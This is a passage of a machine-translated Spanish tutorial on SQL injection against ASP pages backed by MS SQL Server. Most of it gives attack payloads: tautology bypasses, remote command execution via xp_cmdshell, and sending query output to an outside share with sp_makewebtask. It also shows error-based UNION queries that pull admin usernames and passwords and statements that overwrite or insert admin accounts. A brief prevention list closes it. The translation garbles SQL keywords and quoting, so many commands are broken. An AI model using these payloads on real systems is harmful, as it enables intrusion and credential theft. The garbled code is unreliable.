Veamos otro ejemplo que explica la utilidad de la construcción " o 1=1--. Además de omitir el registro, también podemos ver información adicional que normalmente no está disponible. Considere una página asp que enlaza con otra página con la siguiente URL:

http://pato/index.asp?category=comida

En una URL, "categoría" es el nombre de la variable y "comida" es el valor asignado a esa variable. Para hacer esto, la página asp puede contener el siguiente código:

v_cat = solicitud("categoría")
sqlstr="SELECCIONAR * DEL producto DONDE PCategory="" & v_cat & """
establecer rs=conn.execute(sqlstr)

Como puede ver, nuestra variable se combinará con v_cat y, por lo tanto, la consulta SQL debería quedar:

SELECCIONE * DEL producto DONDE PCategory="comida"

Esta consulta debe devolver un conjunto que contenga una o más filas que coincidan con la cláusula WHERE, en este caso "comida". Ahora cambiemos la URL de la siguiente manera:

http://duck/index.asp?category=food" o 1=1--
SELECCIONE * DEL producto DONDE PCategory="comida" o 1=1--‘

Esta consulta devolverá todas las filas de la tabla de productos, independientemente de si Pcategory es "comida" o no. El guión doble "-" le indica a MS SQL Server que ignore el resto de la consulta que sigue a la comilla simple ("). A veces puede reemplazar el guión doble con un "#" agudo.

Sin embargo, si está utilizando un servidor que no es SQL o no puede ignorar el resto de la consulta, intente:

" o "a"="a

Ahora la consulta SQL será:

SELECCIONE * DEL producto DONDE PCategory="comida" o "a"="a"

Esta consulta devolverá el mismo resultado.

Dependiendo de la consulta SQL real, es posible que tengas que probar algunas de estas posibilidades:

"o 1=1--
"o 1=1--
o 1=1--
" o "a"="a
" o "a"="a
") o ("a"="a

4.0 ¿Cómo puedo ejecutar comandos de forma remota mediante inyección SQL?

La capacidad de ingresar un comando SQL generalmente significa que podemos ejecutar consultas SQL a voluntad. La instalación predeterminada de MS SQL Server se ejecuta con derechos del sistema. Podemos llamar a procedimientos integrados como master..xp_cmdshell para ejecutar comandos arbitrarios de forma remota:

"; maestro ejecutivo..xp_cmdshell "ping 10.10.1.2" --

Intenta usar doble comillas("") si (") no funciona.

El punto y coma finalizará la consulta SQL actual y le permitirá ejecutar nuevos comandos SQL. Para verificar si el comando fue exitoso, puede verificar los paquetes ICMP en 10.10.1.2 para ver si contienen algún paquete del servidor vulnerable:

http://sitio/?ID=31610

Si no recibe ninguna solicitud de ping del servidor y recibe un mensaje de error que indica un error de permiso, es posible que el administrador haya restringido el acceso del usuario web a los procedimientos almacenados.

5.0 ¿Cómo obtengo los resultados de mi consulta SQL?

Puede utilizar sp_makewebtask para escribir su solicitud en HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECCIONAR * DE INFORMACIÓN_SCHEMA.TABLES"

La IP especificada debe tener una carpeta "compartida" con acceso para todos.

6.0 ¿Cómo recuperar datos de una base de datos usando mensajes de error ODBC?

Podemos utilizar la información del mensaje de error producido por el servidor SQL para recuperar cualquier dato. Por ejemplo, considere la siguiente página:

http://pato/index.asp?id=10

Ahora intentaremos concatenar el número entero '10' con otra fila de la base de datos:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

La tabla del sistema INFORMACIÓN_SCHEMA.TABLES contiene información de todas las tablas del servidor.

El campo TABLE_NAME obviamente contiene el nombre de cada tabla en la base de datos. Fue elegido porque sabemos que siempre existe. Nuestra solicitud:

SELECCIONE LA 1 PRINCIPAL TABLE_NAME DE INFORMACIÓN_SCHEMA.TABLES--

Esta consulta devolverá el primer nombre en la base de datos. Cuando UNIMOS este valor de cadena al número entero 10, MS SQL Server intentará convertir la cadena nvarchar en un número entero. Esto generará un error que indica que no se puede convertir nvarchar a int. El servidor arrojará el siguiente error:


Error de sintaxis al convertir el valor nvarchar "table1" to a column of data type int. !}
/index.asp, línea 5

El mensaje de error contiene información sobre un valor que no se puede convertir a un número entero. En este caso, obtuvimos el nombre de la primera tabla: "tabla1".

por conseguir siguiente nombre tablas, podemos utilizar la siguiente consulta:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES DONDE TABLE_NAME NO ESTÁ ("table1")--

También podemos buscar datos usando la tecla ME GUSTA:

http://duck/index.asp?id=10 UNION SELECCIONE EL PRINCIPAL 1 TABLE_NAME DE INFORMACIÓN_SCHEMA.TABLES DONDE TABLE_NAME COMO "%25login%25"--

Proveedor Microsoft OLE DB para controladores ODBC error "80040e07" Error de sintaxis al convertir el valor nvarchar "admin_login" to a column of data type int. /index.asp, line 5 !}

La construcción correspondiente "%25login%25" se reemplazará con %login% en el servidor SQL. En este caso, obtendremos el nombre de la tabla que coincide con el criterio "admin_login".

6.1 ¿Cómo puedo saber todos los nombres de las columnas de una tabla?

Podemos usar la tabla INFORMACIÓN_SCHEMA.COLUMNS para mostrar todos los nombres de las columnas en la tabla:

http://duck/index.asp?id=10 UNION SELECCIONE LA 1 COLUMNA_NOMBRE PRINCIPAL DE INFORMACIÓN_ESQUEMA.COLUMNAS DONDE TABLE_NAME="admin_login"-

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "login_id" to a column of data type int. !}
/index.asp, línea 5

Ahora que conocemos el nombre de la primera columna, podemos usar NOT IN() para obtener el nombre de la siguiente columna:

http://duck/index.asp?id=10 UNION SELECCIONE LA 1 COLUMNA_NOMBRE SUPERIOR DE INFORMACIÓN_SCHEMA.COLUMNS DONDE TABLE_NAME="admin_login" DONDE COLUMN_NAME NO ESTÁ ("login_id")-

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "login_name" to a column of data type int. !}
/index.asp, línea 5

Continuando obtendremos el resto de los nombres de las columnas, es decir. "contraseña", "detalles" hasta que obtengamos el siguiente error.

http://duck/index.asp?id=10 UNION SELECCIONE LA 1 COLUMNA_NOMBRE PRINCIPAL DE INFORMACIÓN_SCHEMA.COLUMNS DONDE TABLE_NAME="admin_login" DONDE COLUMN_NAME NO EN ("login_id","login_name","contraseña",detalles")--

Error "80040e14" del proveedor Microsoft OLE DB para controladores ODBC
Los elementos ORDER BY deben aparecer en la lista de selección si la declaración contiene un operador UNION.
/index.asp, línea 5

6.2. ¿Cómo obtenemos los datos que necesitamos?

Ahora que hemos identificado algunas tablas importantes, podemos utilizar la misma técnica para recuperar información de la base de datos.

Obtengamos el primer login_name de la tabla "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "neo" to a column of data type int. !}
/index.asp, línea 5

Ahora sabemos que hay un usuario administrador con nombre de inicio de sesión "neo". Finalmente podemos obtener la contraseña "neo":

http://duck/index.asp?id=10 UNION SELECCIONA LA PRINCIPAL 1 contraseña DE admin_login donde login_name="neo"--

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "m4trix" to a column of data type int. !}
/index.asp, línea 5

Ahora podremos iniciar sesión como "neo" con la contraseña "m4trix".

6.3 ¿Cómo obtener el valor numérico de una cadena?

Existe una limitación en el método descrito anteriormente. No podremos recibir un mensaje de error si intentamos convertir texto que consta de un número (solo caracteres entre 0...9). Ahora describiremos cómo obtener la contraseña "31173" del usuario "trinity":

http://duck/index.asp?id=10 UNION SELECCIONA LA PRINCIPAL 1 contraseña DE admin_login donde login_name="trinity"--

Probablemente recibamos el error "Página no encontrada". El motivo es que la contraseña "31173" se convertirá en un número, antes de la UNIÓN con un número entero (en nuestro caso 10). Como la expresión UNION es correcta, el servidor SQL no generará un mensaje de error y por tanto no podremos obtener un registro numérico.

Para resolver este problema, podemos agregar una cadena numérica al final con algunas letras para evitar que se realice la conversión. Solicitud modificada:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, contraseña%2b"%20morpheus") FROM admin_login donde login_name="trinity"--

Simplemente usamos el signo más (+) para agregar cualquier texto a la contraseña (codificación ASSCII para "+" = 0x2b). A continuación, agregaremos "%20morpheus" al final de la contraseña real. Entonces, incluso si el valor de la contraseña es "31173", se convertirá en "31173 morfeo". Al llamar manualmente a la función convert() al intentar convertir "31173 morpheus" en un número entero, SQL Server generará un mensaje de error ODBC:

Error "80040e07" del proveedor Microsoft OLE DB para controladores ODBC
Error de sintaxis al convertir el valor nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, línea 5

Ahora podremos iniciar sesión como "trinity" con la contraseña "31173".

7.0 ¿Cómo modificar/insertar datos en la base de datos?

Una vez que tengamos los nombres de todas las columnas de la tabla, podemos actualizar (UPDATE) o incluso insertar (INSERT) nueva entrada a la mesa. Por ejemplo, podemos cambiar la contraseña de "neo":

http://duck/index.asp?id=10; ACTUALIZAR "admin_login" SET "contraseña" = "newpas5" DONDE login_name="neo--

Para INSERTAR un nuevo registro en la base de datos:

http://duck/index.asp?id=10; INSERTAR EN "admin_login" ("login_id", "login_name", "contraseña", "detalles") VALORES (666,"neo2","newpas5","NA")--

Ahora podremos iniciar sesión como "neo" con la contraseña "newpas5".

8.0 ¿Cómo evitar la inyección SQL?

Filtrar Símbolos especiales en todas las líneas en:

Cualquier dato introducido por el usuario.
- parámetros de URL
- Galleta

Para valores numéricos, conviértalos a números enteros antes de pasarlos a la consulta SQL. O use ISNUMERIC para asegurarse de que sea un número entero.

Ejecute SQL Server como usuario sin privilegios.

Elimine los procedimientos almacenados no utilizados: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Nuevo en el sitio

>

Más popular